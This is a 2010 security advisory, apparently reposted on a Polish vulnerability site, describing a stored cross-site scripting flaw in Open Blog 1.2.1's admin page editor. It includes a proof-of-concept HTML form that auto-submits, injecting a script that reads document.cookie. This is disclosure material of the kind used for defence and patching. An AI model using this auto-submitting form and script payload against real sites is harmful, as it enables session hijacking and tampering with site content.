Open Blog 1.2.1 XSS vulnerability

2010.08.18
Credit: htbridge
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


Ogólna skala CVSS: 4.3/10
Znaczenie: 2.9/10
Łatwość wykorzystania: 8.6/10
Wymagany dostęp: Zdalny
Złożoność ataku: Średnia
Autoryzacja: Nie wymagana
Wpływ na poufność: Brak
Wpływ na integralność: Częściowy
Wpływ na dostępność: Brak

Vulnerability ID: HTB22498 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_open_blog_1.html Product: Open Blog Vendor: Toma&#197;&#190; Muraus ( http://www.open-blog.info/ ) Vulnerable Version: 1.2.1 and Probably Prior Versions Vendor Notification: 22 July 2010 Vulnerability Type: Stored XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/application/modules/admin/controllers/pages.php" script to properly sanitize user-supplied input in "content" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/pages/edit" method="post" > <input type="hidden" name="title" value="open blog page title" /> <input type="hidden" name="content" value='Some page content and <script>alert(document.cookie)</script>' /> <input type="hidden" name="status" value="active" /> <input type="hidden" name="id" value="1" /> <input type="submit" name="submit" id="sbmtit" value="Edit &rsaquo;&rsaquo;" /> </form> <script> document.getElementById('sbmtit').click(); </script>

Referencje:

http://xforce.iss.net/xforce/xfdb/60942
http://www.securityfocus.com/bid/42255
http://www.securityfocus.com/archive/1/archive/1/512901/100/0/threaded
http://www.securityfocus.com/archive/1/archive/1/512895/100/0/threaded
http://www.htbridge.ch/advisory/xss_vulnerability_in_open_blog_1.html
http://www.htbridge.ch/advisory/xss_vulnerability_in_open_blog.html
External Source: MISC
http://packetstormsecurity.org/1008-exploits/openblog-xssxsrf.txt


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